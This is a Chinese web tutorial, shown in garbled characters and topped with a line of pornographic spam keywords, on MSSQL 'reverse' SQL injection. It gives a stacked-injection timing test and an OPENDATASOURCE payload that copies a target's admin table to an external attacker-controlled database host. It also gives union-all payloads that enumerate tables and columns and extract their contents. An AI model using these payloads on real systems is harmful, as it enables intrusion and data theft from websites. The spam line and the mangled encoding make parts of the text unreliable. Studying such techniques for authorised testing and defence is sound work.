亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

MSSQL反彈注入詳解

 更新時(shí)間:2025年02月13日 10:57:03   作者:Y22Lee  
文章主要介紹了MSSQL(微軟的SQL Server數(shù)據(jù)庫服務(wù)器)與MYSQL(MSSQL的簡化版)的區(qū)別,以及MSSQL注入的基本原理和步驟,包括反彈注入和聯(lián)合查詢注入,感興趣的朋友一起看看吧

1.什么是MSSQL

MS SQL實(shí)際上是指微軟的SQL Server數(shù)據(jù)庫服務(wù)器,MYSQL可以說是MSSQL的簡化版。MYSQL數(shù)據(jù)庫一般專用于PHP網(wǎng)站,適合小,中型網(wǎng)站,而且還是開源的。 MSSQL目前大型網(wǎng)站使用,一般是商務(wù)網(wǎng)站使用,因?yàn)槭俏④涢_發(fā)的,所以要收費(fèi),而且要貴一些!
MSSQL與MYSQL的基本語法區(qū)別:(只針對滲透測試常用的語法)

MYSQL:
1.使用‘;'來作為語句的結(jié)尾
2.使用‘\'進(jìn)行轉(zhuǎn)義
3.系統(tǒng)自帶庫:
mysql、information_schema、performance_schema、sys
4.查詢當(dāng)前數(shù)據(jù)庫名稱:database()
5.查看表名:tables
MSSQL:
1.‘;'是可選的,可寫可不寫,但是MSSQL中提供了go關(guān)鍵詞作為批處理語句的結(jié)尾
2.在SQL Server中則不需要轉(zhuǎn)義,有歧義的時(shí)候只需使用引號即可
3.系統(tǒng)自帶庫:
Master、Model、Msdb、Tempdb
4.查詢當(dāng)前數(shù)據(jù)庫名稱:db_name()
5.查看表名:sysobjects

2.原理

讓目標(biāo)把得到的信息插入到滲透測試人員的數(shù)據(jù)庫中

3.MSSQL注入的條件

a.目標(biāo)要能訪問外網(wǎng)
b.被插入的數(shù)據(jù)庫要能用公網(wǎng)IP連接

4.注入步驟

a.反彈注入

--1.搭建MSSQL環(huán)境
/*自己搭建一個(gè)MSSQL環(huán)境是不現(xiàn)實(shí)的,首先你得有公網(wǎng)IP,有了公網(wǎng)IP才能將查詢到的數(shù)據(jù)插入
到我們的數(shù)據(jù)庫中。這里可以免費(fèi)申請一個(gè)虛擬空間來幫我們搭建MSSQL環(huán)境,
比如:Alwaysdata,ProFreeHost,香港云等等。*/
--2.連接公網(wǎng)數(shù)據(jù)庫
--使用Navicat數(shù)據(jù)庫管理工具連接,連接名任意,主機(jī)為本機(jī)地址
--3.判斷是否存在堆疊注入
;select name from sysobjects waitfor delay ‘00:00:05:00'//如果網(wǎng)站發(fā)生延遲,說明存在
--4.在連接的數(shù)據(jù)庫中創(chuàng)建一個(gè)新表用于存放數(shù)據(jù)
--5.反彈注入
--用opendatasource函數(shù)進(jìn)行反彈注入。
OPENDATASOURCE(provider_name,init_string)
/*provider_name為用于訪問數(shù)據(jù)源的OLE DB 提供程序的PROGID的名稱
init_string為連接地址、端口、用戶名、密碼、數(shù)據(jù)庫名
server=連接地址,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名稱*/
--例如:
insert into opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP select *from admin — qwe
/*insert into代表語句屬性,是插入語句
opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP表示將查詢到的內(nèi)容插入到什么地方
select *from admin表示要查與數(shù)據(jù)的內(nèi)容
*/

b.MSSQL聯(lián)合查詢注入
<1.用常規(guī)SQL注入查字段數(shù)
<2.判斷顯錯(cuò)位
由于MSSQL語法比MYSQL嚴(yán)格些,所以不能直接全填數(shù)字來尋找顯錯(cuò)位,MYSQL中union只需要滿足字段數(shù)相同即可,但是MSSQL中如果你的填充位與數(shù)據(jù)庫字段類型不匹配是沒有數(shù)據(jù)顯示的!而且MSSQL的聯(lián)合查詢最好使用union all!不知道是什么類型時(shí)可以填‘null’

'union all select  'null','null','null' --s1

然后用數(shù)字逐個(gè)替換null判斷類型
到了這一步差不多可以猜出是MSSQL數(shù)據(jù)庫,那么接下來的步驟就不能按照SQL注入的語法繼續(xù)查數(shù)據(jù)了
< 3.查表名
利用MSSQL自帶表獲取用戶自建表

'union all select id,name,'null' from sysobjects where xtype='U' --s2

<4.查字段名

'union all select 'null',name,'null' from dbo.syscolumns where id=··· ··· --s3

<5.查字段內(nèi)容

'union all select 字段名,字段名,字段名 from 表名 --q

5.補(bǔ)充

反彈注入是用來解決盲注,WAF攔截,訪問過快被封
堆疊注入:
a.原理
在SQL中,分號(;)是用來表示一條sql語句的結(jié)束。試想一下我們在 ; 結(jié)束一個(gè)sql語句后繼續(xù)構(gòu)造下一條語句,會(huì)不會(huì)一起執(zhí)行?因此這個(gè)想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句。
b.局限性
<1.堆疊注入的局限性在于并不是每一個(gè)環(huán)境下都可以執(zhí)行,可能受到API或者數(shù)據(jù)庫引擎不支持的限制;
<2.堆疊查詢可以執(zhí)行任意的sql語句,但是這種注入方式并不是十分的完美的。在我們的web系統(tǒng)中,因?yàn)榇a通常只返回一個(gè)查詢結(jié)果,因此,堆疊注入第二個(gè)語句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們在前端界面是無法看到返回結(jié)果的;
< 3. 在使用堆疊注入之前,我們也是需要知道一些數(shù)據(jù)庫相關(guān)信息的,例如表名,列名等信息。

到此這篇關(guān)于MSSQL反彈注入的文章就介紹到這了,更多相關(guān)MSSQL反彈注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論